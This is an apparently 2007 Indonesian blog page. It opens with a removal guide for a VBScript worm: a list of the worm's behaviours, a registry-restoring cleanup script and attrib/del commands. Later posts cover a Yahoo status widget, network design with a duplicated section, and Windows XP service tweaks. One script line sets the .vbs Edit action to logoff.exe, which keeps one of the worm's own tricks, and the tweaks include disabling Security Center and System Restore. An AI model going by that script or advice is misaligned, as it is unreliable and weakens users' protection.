  • Tiap masuk Windows tanggal 15 akan selalu logoff atau shutdown dlm hitungan 5 detik.
  • Menjalankan Adobe.vbs setiap logon
  • Meyembunyikan semua file dokumen: doc,docx,xls,xlsx,ppt,pptx,pdf
  • Rutin mengkloning file induk Adobe.vbs ke semua drive & folder termasuk flashdisk dgn nama file beragam.
  • Menyamarkan file .vbs jadi dianggap tipe file .mp3
  • Install file *.inf akan logoff
  • Dobelklik file *.reg akan logoff
  • Klik kanan file *.vbs > Edit, akan logoff
  • Disable: Regedit, Run, Search, Folder Options, CMD, TaskMgr
  • Tidak bisa mengubah assosiasi file
  • Tidak bisa melihat: Hidden File, File Extension
  • Jika jalanin cmd.exe,msconfig.exe,regedit.exe,TaskMgr.exe,attrib.exe,install.exe,setup.exe akan dibuka oleh Notepad.
Cara menanggulanginya, coba ini:

1. Jika saat akan melakukan pembersihan jatuh pada tanggal 15, ubah dulu tanggal di BIOS ke     selain tgl 15.

2. Copy-Paste code berikut ini ke Notepad, save dgn "Save as type = Al Files" dan "File name =      PEMUSNAH.vbs",
     
     Code:

on error resume next
Dim fso, WshShell
Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")

Smwc = "\Software\Microsoft\Windows\CurrentVersion\"
Hsmwci = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"
WshShell.RegWrite "HKCR\.vbs\", "VBSFile"
WshShell.RegWrite "HKCR\vbsfile\", "VBScript Script File"
WshShell.RegWrite "HKCR\vbsfile\DefaultIcon", "%SystemRoot%\System32\WScript.exe,2"
WshShell.RegWrite "HKCR\vbsfile\FriendlyTypeName", "@%SystemRoot%\System32\wshext.dll,-4802", "REG_EXPAND_SZ"
WshShell.RegDelete "HKCR\vbsfile\NeverShowExt"
WshShell.RegWrite "HKCR\inffile\shell\Install\command\", "%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %1"
WshShell.RegWrite "HKCR\regfile\shell\open\command\", "regedit.exe ""%1"""
WshShell.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
WshShell.RegWrite "HKCU"&Smwc&"Policies\System\DisableRegedit", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFileAssociate", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoRun", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFind", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\Explorer\NoFolderOptions", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Policies\System\DisableCMD", "0", "REG_DWORD"
WshShell.RegWrite "HKLM"&Smwc&"Policies\System\DisableTaskMgr", "0", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Explorer\Advanced\Hidden", "1", "REG_DWORD"
WshShell.RegWrite "HKCU"&Smwc&"Explorer\Advanced\HideFileExt", "0", "REG_DWORD"
WshShell.RegDelete Hsmwci&"cmd.exe\"
WshShell.RegDelete Hsmwci&"msconfig.exe\"
WshShell.RegDelete Hsmwci&"regedit.exe\"
WshShell.RegDelete Hsmwci&"regedt32.exe\"
WshShell.RegDelete Hsmwci&"TaskMgr.exe\"
WshShell.RegDelete Hsmwci&"attrib.exe\"
WshShell.RegDelete Hsmwci&"install.exe\"
WshShell.RegDelete Hsmwci&"setup.exe\"
WshShell.RegDelete "HKCU"&Smwc&"Run\Adobe"


3. dobelklik file PEMUSNAH.vbs di atas, lalu restart
    semoga ini bisa meng-undo semua perubahan registry yang dilakukan VBS.

4. scan semua isi drive (tancepin juga flashdisk) pake ANSAV, lalu del file yang kedetek.
     atau search file *.vbs dgn opsi spt gambar di bawah ini:
     
     


5. setelah pencarian selesai, sort by size, lalu del file-file *.vbs yang berukuran 9 KB
    contoh dgn nama file spt:

          Code:
                       Adobe.vbs
                       Dataku.vbs
                       New File.vbs
                       Readme.vbs
                       Money.vbs
                       Hasil.vbs
                       System.vbs
                       Cerita 17.txt.vbs


6. Del file "AutoRun.inf" yang ada di flashdrive, caranya:
     Run: CMD
     lalu ketik ini:
                  
                  Code:
                            attrib -h -s -r X:\AutoRun.inf
                            del AutoRun.inf

          
      ganti X: dgn abjad drive UFD Anda.

7. Del file link "%UserProfile%\Favorites\Adobe.lnk"
    atau del manual link Adobe di menu Favorites IE

8. Del semua link/shortcut di "%UserProfile%\Recent"

    Mengembalikan file² dokumen yang disembunyikan:
    Run: CMD
    lalu ketik spt contoh ini:

                                    Code:
                                              
attrib -h -s -r "X:\*.doc" /s /d


    artinya: akan menghilangkan attribut semua file *.doc "Hidden|System|ReadOnly" di drive X:     dan subdir-nya.

                        atau Code:
                                        
 attrib -h -s -r "X:\My Documents\*.doc" /s /d

     artinya: akan menghilangkan attribut semua file *.doc "Hidden|System|ReadOnly" di      "X:\My Documents" dan subdir-nya.

     ulangi command attrib di atas utk tipe file lainnya: *.docx *.xls *.xlsx *.ppt *.pptx *.pdf



*SELAMAT MENCOBA SEMOGA BISA MEMBANTU TEMAN-TEMAN SEMUA*










Selasa, 30 Oktober 2007

Menampilkan Status Yahoo Messenger

Beberapa kali ditanyaain, sekarang aku bikin tutorial menampilkan status yahoo messenger di halaman web/blog. jadi kalo ada ada yang buka web/blog kamu, mereka bisa tau, kamu lagi online apa nggak di yahoo messenger.

Online presence allows people to see if you are currently online and using Yahoo! Messenger. To add online presence, you simply need to add some HTML to your web page.
If a Yahoo! Messenger user clicks your online presence, an instant message window will open for them so they can type you an instant message.

Kode yang harus kamu pasang ke blog kamu adalah:

Silahkan ganti ID yahoo saya isnainidotcom dengan id yahoo kamu, angka t=1 menunjukkan variasi gambar yang bisa kamu pilih, mulai dari angka 0 sampai 5.

Contoh:

  • t=0
  • t=1
  • t=2
  • t=3
  • t=4
  • t=5

Untuk pengguna blogger, kalo kamu pengen nambahin status tersebut di sidebar, gunakan add page element, kemudian pilih HTML/Javascript.

Selamat mencoba!

Jaringan komputer lokal

Jaringan Komputer local

Local Area Network biasa disingkat LAN adalah jaringan komputer yang jaringannya hanya mencakup wilayah kecil; seperti jaringan komputer kampus, gedung, kantor, dalam rumah, sekolah atau yang lebih kecil. Saat ini, kebanyakan LAN berbasis pada teknologi IEEE 802.3 Ethernet menggunakan perangkat switch, yang mempunyai kecepatan transfer data 10, 100, atau 1000 Mbit/s. Selain teknologi Ethernet, saat ini teknologi 802.11b (atau biasa disebut Wi-fi) juga sering digunakan untuk membentuk LAN. Tempat-tempat yang menyediakan koneksi LAN dengan teknologi Wi-fi biasa disebut hotspot.

Pada sebuah LAN, setiap node atau komputer mempunyai daya komputasi sendiri, berbeda dengan konsep dump terminal. Setiap komputer juga dapat mengakses sumber daya yang ada di LAN sesuai dengan hak akses yang telah diatur. Sumber daya tersebut dapat berupa data atau perangkat seperti printer. Pada LAN, seorang pengguna juga dapat berkomunikasi dengan pengguna yang lain dengan menggunakan aplikasi yang sesuai.

Jaringan Remote

Secara geografis, perancangan jaringan remote access terbagi dalam tiga bagian. Ketiga bagian itu adalah central site, remote site dan telecommuter.

Central Site

Central site merupakan kantor pusat. Biasanya di sinilah perusahaan menyimpan data dan beberapa server (seperti mail server, Web server, database server, dan lain-lain). Karena merupakan bagian terpenting dari jaringan, ada beberapa hal yang harus diperhatikan dalam mendesain central site, yaitu:

- Fleksibilitas. Desain jaringan pada central site harus dapat mendukung semua teknologi koneksi yang digunakan oleh remote site maupun telecommuter.

- Biaya. Bagi seorang network engineer, biaya merupakan salah satu pertimbangan dalam mendesain. Pertimbangan ini tidak boleh mengabaikan kinerja jaringan yang dirancangnya.

- Akses. Akses merupakan isu penting karena berhubungan dengan keamanan data perusahaan. Ada beberapa teknik yang digunakan untuk mengatasi masalah ini. Access list digunakan untuk membatasi trafik yang tidak diinginkan. Otentikasi digunakan untuk menghalangi penyusupan yang dilakukan oleh orang-orang yang tidak berhak. PAP (Password Authentication Protocol) dan CHAP (Challenge Handshake Authentication Protocol) merupakan mekanisme otentikasi yang digunakan oleh PPP (Point-to-Point Protocol).

- QoS (Quality of Service). Salah satu cara untuk menekan biaya adalah dengan QoS (Quality of Service). Fungsi ini digunakan untuk mengatur urutan prioritas tipe trafik pada jaringan. QoS (Quality of Service) juga digunakan untuk VoIP (Voice over Internet Protocol) untuk memberi prioritas utama kepada suara (voice) dibanding data.

- Redundancy dan Backup. Untuk mencegah tidak berfungsinya jaringan karena kerusakan yang terjadi pada perangkat jaringan, diperlukan cadangan ketika mendesain. Seorang network engineer harus selalu menyediakan cadangan berupa kabel atau port ketika mendesain jaringan.

- Scalability. Sebuah perusahaan tentu akan terus berkembang. Perkembangan perusahaan akan mempengaruhi kinerja jaringan. Jaringan yang dirancang harus dapat mengikuti perkembangan tersebut tanpa memerlukan banyak perubahan.

- Availability. Jaringan harus bisa diakses setiap saat.

Remote Site

Remote site merupakan kantor yang relatif lebih kecil dibanding central site. Remote site mungkin berupa kantor cabang yang menangani suatu departemen atau kantor cabang di daerah. Beberapa pertimbangan desain remote site adalah:

- Fleksibilitas. Sama dengan central site, remote site juga harus mempertimbangkan teknologi komunikasi terhadap remote site lainnya atau telecommuter. Oleh karena itu, kita memerlukan bermacam-macam interface (antarmuka) yang digunakan utnuk melakukan akses.

- Biaya. Untuk menekan biaya, kita dapat mempertimbangkan teknik DDR (Dial on Demand Routing) dan kompresi. Seperti pada central site, pengurangan biaya tidak boleh mengabaikan fungsi jaringan.

Jaringan Remote Access

Secara geografis, perancangan jaringan remote access terbagi dalam tiga bagian. Ketiga bagian itu adalah central site, remote site dan telecommuter.

Central Site

Central site merupakan kantor pusat. Biasanya di sinilah perusahaan menyimpan data dan beberapa server (seperti mail server, Web server, database server, dan lain-lain). Karena merupakan bagian terpenting dari jaringan, ada beberapa hal yang harus diperhatikan dalam mendesain central site, yaitu:

- Fleksibilitas. Desain jaringan pada central site harus dapat mendukung semua teknologi koneksi yang digunakan oleh remote site maupun telecommuter.

- Biaya. Bagi seorang network engineer, biaya merupakan salah satu pertimbangan dalam mendesain. Pertimbangan ini tidak boleh mengabaikan kinerja jaringan yang dirancangnya.

- Akses. Akses merupakan isu penting karena berhubungan dengan keamanan data perusahaan. Ada beberapa teknik yang digunakan untuk mengatasi masalah ini. Access list digunakan untuk membatasi trafik yang tidak diinginkan. Otentikasi digunakan untuk menghalangi penyusupan yang dilakukan oleh orang-orang yang tidak berhak. PAP (Password Authentication Protocol) dan CHAP (Challenge Handshake Authentication Protocol) merupakan mekanisme otentikasi yang digunakan oleh PPP (Point-to-Point Protocol).

- QoS (Quality of Service). Salah satu cara untuk menekan biaya adalah dengan QoS (Quality of Service). Fungsi ini digunakan untuk mengatur urutan prioritas tipe trafik pada jaringan. QoS (Quality of Service) juga digunakan untuk VoIP (Voice over Internet Protocol) untuk memberi prioritas utama kepada suara (voice) dibanding data.

- Redundancy dan Backup. Untuk mencegah tidak berfungsinya jaringan karena kerusakan yang terjadi pada perangkat jaringan, diperlukan cadangan ketika mendesain. Seorang network engineer harus selalu menyediakan cadangan berupa kabel atau port ketika mendesain jaringan.

- Scalability. Sebuah perusahaan tentu akan terus berkembang. Perkembangan perusahaan akan mempengaruhi kinerja jaringan. Jaringan yang dirancang harus dapat mengikuti perkembangan tersebut tanpa memerlukan banyak perubahan.

- Availability. Jaringan harus bisa diakses setiap saat.

Remote Site

Remote site merupakan kantor yang relatif lebih kecil dibanding central site. Remote site mungkin berupa kantor cabang yang menangani suatu departemen atau kantor cabang di daerah. Beberapa pertimbangan desain remote site adalah:

- Fleksibilitas. Sama dengan central site, remote site juga harus mempertimbangkan teknologi komunikasi terhadap remote site lainnya atau telecommuter. Oleh karena itu, kita memerlukan bermacam-macam interface (antarmuka) yang digunakan utnuk melakukan akses.

- Biaya. Untuk menekan biaya, kita dapat mempertimbangkan teknik DDR (Dial on Demand Routing) dan kompresi. Seperti pada central site, pengurangan biaya tidak boleh mengabaikan fungsi jaringan.

- Access Control. Perusahaan harus dapat mengontrol agar siapa yang mengakses informasi memang mereka yang berhak melakukannya.

- QoS (Quality of Service). Memberikan prioritas trafik merupakan cara untuk meningkatkan performa jaringan.

- Redundancy dan Backup. Kegagalan pada link (hubungan) dapat terjadi kapan saja yang mungkin diakibatkan oleh masalah yang tidak diduga sebelumnya. Kita harus siap menghadapi situasi ini dengan menyediakan link cadangan. Link tambahan ini dapat pula digunakan untuk menyediakan tambahan bandwidth ketika diperlukan.

- Availability.

Telecommuter

Seseorang yang sering berada di luar kantor tetapi perlu mengakses jaringan untuk memperoleh data merupakan contoh dari telecommuter. Biasanya mereka bekerja di SOHO (Small Office / Home Office) . Kantor seperti ini menjadi salah satu solusi di masa depan karena menawarkan telekomunikasi bagai karyawannya.

Beberapa hal yang perlu diperhatikan dalam desain telecommuter, yaitu:

- Availability

- Biaya

- Otentikasi

Rabu, 24 Oktober 2007

Mempercepat Kinerja Windows

Windows XP melakukan loading dari module program yang lengkap dengan tujuan untuk menyamankan pemakai sistem operasi selalu siap tersedia. Sayangnya tidak semua orang membutuhkan module program yang diloading dari sistem Default WinXP. Selain memakan resource memory karena module dijalankan pertama kali ketika computer bekerja, terkadang malah membuat sistem operasi Windows menjadi sedikit lebih lambat.

Fitur module program yang tidak diperlu dapat dimatikan melalui fasilitas SERVICE.MSC.

Caranya:

Masuk ke bagian Start dan Run serta ketik "service.msc". Selanjutnya akan muncul daftar service dari program module yang defaultnya selalu diloading oleh Windows XP. Untuk mematikan service module Windows, pada gambar kedua anda melihat pada daftar program dan STATUS. Pada daftar status, anda dapat melihat apakah program Module Windows XP selalu dijalankan ketika pertama kali Windows bekerja, atau secara otomatis bila dibutuhkan baru bekerja dan terakhir tidak dijalankan sama sekali (Disable)

  



Dibawah ini adalah daftar komponen Windows secara default diloading tetapi kemungkinan tidak diperlukan untuk beberapa kebutuhan (Sumber Techtree)


Unused Module Fungsi module yang dapat dimatikan (Disable)

Computer Browser
Module ini untuk memonitor daftar dari computer yang terhubung kedalam jaringan Network.
Module Computer Browser dapat dimatikan bila anda mengunakan computer dirumah tanpa terhubung dengan network / LAN

Distributed Link Tracking Client
Module ini difungsikan untuk memonitor hubungan antar NTFS file didalam computer sendiri atau jaringn network dengan nama domain. Fungsi module ini hanya dibutuhkan bila seseorang membutuhkan link ke computer lain pada sebuah file.
Tidak semua orang membutuhkan link dari dan ke computer anda untuk sebuah file dan anda dapat mematikan (Disable).

Error Reporting Service
Fungsi module Error Reporting Service adalah memberikan laporan bila Windows XP terganggu.
Fungsi ini tidak berguna dan dapat di Disable

Help and Support
Mendapatkan file support dengan menekan F1 untuk mengaktifkan.
apakah anda cukup sering melakukan dan membaca help file dari Windows ?, matikan fitur ini

Indexing Service
Indexes contents and properties of files on local and remote computers bertujuan untuk mempercepat access ke file dengan cara antiran secara flexibel.
Service ini tidak dibutuhkan

Net Logon
Supports pass-through authentication of account logon events for computers in a domain. Bila anda terhubung dengan network dan sebuah domain. Fitur ini diperlukan
Tetapi bila anda hanya mengunakan computer sendiri saja dan tidak memiliki domain. Fitur ini dapat dimatikan

NetMeeting Remote Desktop Sharing
FItur ini untuk memberikan access ke computer anda melalui Netmeeting lewat jaringan Intranet.
Jika anda tidak berkenan memberikan access kepada orang lain, khususnya dengan cara Remote ke computer anda. Sebaiknya fitur ini dimatikan

Network Location Awareness (NLA)
Module ini untuk mencatat dan menyimpan daftar network konfigurasi serta informasi lokasi.
Fungsi ini tidak membantu, dan dapat dimatikan

Network Provisioning Service
Manages XML configuration files on a domain basis for automatic network provisioning
Tidak dibutuhkan untuk computer home dan sistem simple network. Fitur dapat dimatikan

Performance Logs and Alerts
Fitur module untuk mencatat performa computer dan kegiatan lain yang dicatat pada sebuah file (Log file)
Anda tidak perlu pusing dengan performa sistem Windows anda, matikan karena tidak banyak berguna untuk stand-alone.

Portable Media Serial Number Service
Retrieves the serial number of any portable media player connected to this computer.
Fungsi module ini tidak berguna dan hanya diperuntukan bagi Windows Media based/compatible ("PlaysForSure") portable. Pemakai MP3 tidak membutuhkan fitur ini dan sebaiknya dimatikan

QoS RSVP
Menyediakan pengiriman network signal dan kontrol pada local traffic
Fungsi module dengan konsep memberikan bandwidth lebih besar bagi kebutuhan aplikasi. Nyatanya fungsi ini tidak terlalu berdampak. Pilihan dapat dimatikan atau tetap digunakan

Remote Desktop Help Session Manager
Manages and controls Remote Assistance."
Belum diketahui fungsinya untuk apa, Remote Assistance bisa diterima. Atau tidak diperlukan dan dapat dimatikan

Remote Registry
Memberikan otorisasi remote user memodifikasi registry pada sebuah computer
Sebaiknya dimatikan

Security Center
Monitors system security settings and configurations." Menampilkan Pop Up ketika firewall down, Anti virus telah out o date atau sistem Windows update sengaja dimatikan.
Bila anda selalu memonitor ke 3 fungsi diatas, fitur ini dapat dimatikan.Karena fungsi Security center hanya memonitor dan bukan mencegah dan lebih baik mengawasi langsung dari program pengaman anda

Server
Dukungan file server seperti printer, file untuk berbagi atau share didalam network
Bisa dibutuhkan bisa tidak, bila anda tidak melakukan share antar computer didalam network. Fitur ini dapat dimatikan.
Smart Card
Manages access to smart cards read by this computer."
Anda mengunakan Smart Card pada computer anda. Bila tidak sebaiknya dimatikan

SSDP Discovery Service
Enables discovery of UPnP devices on your home network." Windows akan memonitor hardware lain dengan sistem Plug and Play.
Fungsi ini dapat dimatikan bila anda tidak lagi menambah perangkat lain atau hardware yang anda gunakan adalah permanen. Tetapi bila anda mengunakan banyak hardware sebaiknya fitur ini tetap diaktifkan

System Restore Service
Performs system restore functions. Windows dapat mengembalikan sistem Windows dengan melakukan restore bila set point backup dilakukan. Dengan mengaktifkan system restore akan lebih mudah mengembalikan Windows bila terjadi crash serta malfunction dan mengembalikan Windows XP ke waktu anda melakukan backup.
Ada pendapat, sistem restore tetap diaktifkan karena lebih cepat mengembalikan sistem Windows seperti set point terakhir. Sayangnya sistem ini mengambil space pada storage. Keuntungannya, anda dengan cepat dapat mengembalikan sistem WinXP yang bermasalah
Pilihannya adalah antara kebutuhan anda apakah mengunakan sistem restore untuk mengembalikan Windows dengan penentuan set point yang anda lakukan. Atau mematikan (Disable) tetapi dengan resiko, bila terjadi crash pada Windows anda harus mengulang menginstall kembali. Keuntungan, anda mendapat space storage lebih besar

TCP/IP NetBIOS Helper
Provides user experience theme management support for NetBIOS over TCP/IP (NetBT) service and NetBIOS name resolution
Matikan bila anda tidak memerlukan NetBIOS untuk network

Themes
Provides user experience theme management. Untuk alasan performa, seperti menampilkan interface Win2000. Fitur ini dapat dijalankan melalui Desktop Properti. Jadi tidak ada alasan module ini diload
Anda dapat mematikan fitur ini

Uninterruptible Power Supply
Manages an uninterruptible power supply (UPS) connected to the computer
Sudah jelas fungsinya bila anda mengunakan UPS memerlukan fungsi ini, fitur ini khusus hanya untuk UPS yang terhubung ke computer melalui COM port. Bila tidak dapat mematikan

Wireless Zero Configuration
Menyediakan fungsi otomatis untuk Wireless network adaptor.
Bila anda tidak memiliki perangkat WIFI dapat dimatikan.

WMI Performance Adapter
Provides performance library information from WMI HiPerf providers
Tidak jelas untuk apa, dan dapat dimatikan

Workstation
Creates and maintains client network connections to remote servers. Jika anda mengunakan sharing file didalam network, biarkan fungsi ini tetap bekerja.
Bila anda tidak mengunakan fitur sharing dan computer anda berdiri sendiri / stand alone. Fitur ini dapat dimatikan dan tidak berdampak pada koneksi internet

Tingkat Resolusi yang memperlambat Windows XP

Fitur ini klasik, dengan meningkatkan tampilan warna dengan 32 bit membuat layar Windows lebih nyaman dilihat. Khususnya mereka dengan VGA berkeceptan tinggi biasanya juga memaksimalkan tampilan warna Windows dengan tingkat warna 32 bit.



Bila anda merasa layar desktop anda sedikit lambat, coba rubah tampilan fitur warna dari 32 bit ke 16 bit. Selain mempercepat kinerja desktop , gambar dari layar juga lebih responsif. Merubah tingkat warna dari 32 bit ke 16 bit tentu akan mengurangi tampilan gambar pada desktop computer, khususnya mereka yang membutuhkan tayangan gambar dengan kualitas warna seperti photo realistik. Bila anda tidak memerlukan tampilan layar setinggi pemakai aplikasi editing Photo dan 3D, 16 bit color lebih menguntungkan anda dengan tampilan layar lebih cepat

Buang program yang tidak diperlukan dari start-up

Seperti sistem operasi Microsoft lainnya, ketika meng-install program kedalam harddisk. Umumnya beberapa program menempatkan fitur seperti auto update, driver atau program tambahan pada start-up. Mungkin anda tidak pernah sadar bahwar program yang ditempatkan pada start-up Windows juga memperlambat ketika Windows XP akan digunakan.

Untuk membuka dan melihat program apa saja yang diload ketika pertama kali Windows XP mulai bekerja. Anda dapat mengetik pada Run, dengan Regedit

Fungsi Regedit adalah melihat Registry Windows dan merubahnya bila diperlukan. Area startup terletak pada. Atau gunakan msconfig yang dijalankan melalui Run.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Sebagian program yang akan diload pada Sistem Windows XP diluar program Windows XP ditempatkan di area RUN. Pastikan ketika membuang task program pada startup didalam RUN directory adalah program yang tidak anda gunakan.

Bila anda merasa ragu mengutak utik Registry Windows, ada baiknya mengunakan program pembantu seperti TuneUp.

Pada gambar dibawah ini adalah tampilan program TuneUp dengan menu untuk merubah Start-up manager. Dan menon-aktifkan beberapa program yang memang tidak anda perlukan sementara waktu.



Hasil untuk mengoptimalkan sistem Windows

Dengan merubah setup dari start module pada Service Windows XP, Windows akan memiliki source memory lebih besar untuk aplikasi. Sehingga aplikasi memiliki space memory lebih banyak. Pada gambar dibawah ini adalah contoh Windows XP yang telah di tweak dari unload module. Dengan kapasitas 1GB ternyata Windows XP mampu meminimalkan pemakaian memory hanya 100MB.



tidak dibutuhkan. Karena fitur yang disediakan terkadang menganggu ketika computer bekerja. Memainkan resolusi warna dari 32 bit ke 16 hanya dibutuhkan bila anda merasa tidak membutuhkan aplikasi dengan tingkat warna setara photo pada desktop. Dengan menurunkan tingkat warna menjadi 16bit, VGA akan lebih cepat bekerja dibandingkan membebankan tampilan di 32bit color.

Sedangkan mematikan program pada start-up akan membantu mempersingkat boot Windows XP. Setidaknya anda dapat mengetahui mengapa Windows anda sangat lambat ketika awal pertama kali dijalankan.

Resiko pada optimisasi artikel ini

Mengunakan optimisasi dengan cara merubah Service, registry dan mematikan fitur pada sistem Windows XP tidak lepas dari beberapa resiko. Sebaiknya anda sudah mengetahui apa yang anda lakukan dengan resiko terbesar yaitu Windows XP anda tidak dapat bekerja dengan baik sampai tidak dapat masuk ke layar Desktop WinXP.

Jangan lupa, melakukan perubahan Windows XP ada ditangan anda, dan resiko ditanggung oleh anda sendiri.